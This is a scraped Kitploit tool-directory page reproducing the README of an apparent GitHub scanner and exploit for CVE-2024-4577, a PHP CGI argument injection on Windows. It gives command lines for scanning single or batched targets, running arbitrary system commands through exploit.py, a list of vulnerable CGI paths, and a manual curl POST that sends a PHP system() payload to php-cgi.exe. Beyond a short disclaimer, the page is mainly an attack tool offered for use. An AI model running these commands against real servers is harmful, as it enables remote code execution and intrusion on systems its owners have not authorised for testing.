Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2024-4577 — Scanner and exploit tool for CVE-2024-4577, a PHP CGI argument injection vulnerability enabling remote code execution on Windows systems. Includes detection and command execution modules. | Kitploit
Tools/GitHubGitHub/r0otk3r/cve-2024-4577
Vulnerability ScannersExploitationWeb Application ExploitationPenetration TestingCommand and ControlLearning & Education
GitHubr0otk3r/cve-2024-4577

CVE-2024-4577

Scanner and exploit tool for CVE-2024-4577, a PHP CGI argument injection vulnerability enabling remote code execution on Windows systems. Includes detection and command execution modules.

View Repository
31 year agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2024-4577 - PHP CGI Argument Injection RCE

Summary

CVE-2024-4577 is a critical PHP CGI argument injection vulnerability that affects Windows systems running PHP in CGI mode. This flaw allows remote attackers to inject arguments into PHP's command line via specially crafted URLs, leading to remote code execution (RCE).

This repository includes:

  • CVE-2024-4577.py: A scanner to detect vulnerable targets.
  • exploit.py: An exploit tool that sends PHP code and executes system commands on the vulnerable server.

⚠️ DISCLAIMER
This project is for educational and authorized testing only. Any misuse of this code is not the responsibility of the author. Use responsibly and only in environments you own or have explicit permission to test.


Requirements

  • Python 3.x
  • requests library

Install dependencies:

root@kitploit:~
pip install -r requirements.txt

Scanner Usage

Detect if a target is vulnerable to CVE-2024-4577:

Single Target

root@kitploit:~
python3 CVE-2024-4577.py -u http://target.com

1

Multiple Targets from File

root@kitploit:~
python3 CVE-2024-4577.py -f urls.txt

2

Custom Path (optional)

root@kitploit:~
python3 CVE-2024-4577.py -u http://target.com -p /custom/path.php

Example Vulnerable Paths

The scanner and exploit test common CGI endpoints like:

root@kitploit:~
/php-cgi/php-cgi.exe
/index.php
/test.php
/test.hello

The payload bypasses cgi.force_redirect and prepends malicious PHP using php://input.


Exploit Usage

Execute arbitrary system commands on a vulnerable target:

Single Target

root@kitploit:~
python3 exploit.py -u http://target.com -c "id"

4

Multiple Targets from File

root@kitploit:~
python3 exploit.py -f urls.txt -c "id"

5

Using curl

You can also exploit the vulnerability manually using curl

root@kitploit:~
curl -X POST http://target.com/php-cgi/php-cgi.exe -d "<?php system('uname -a'); ?>"

This sends a PHP payload that executes uname -a on the server and returns the output.

3

License

This code is released under the MIT License. See LICENSE for more information.


Official Channels

  • YouTube @rootctf
  • X @r0otk3r
Download Tool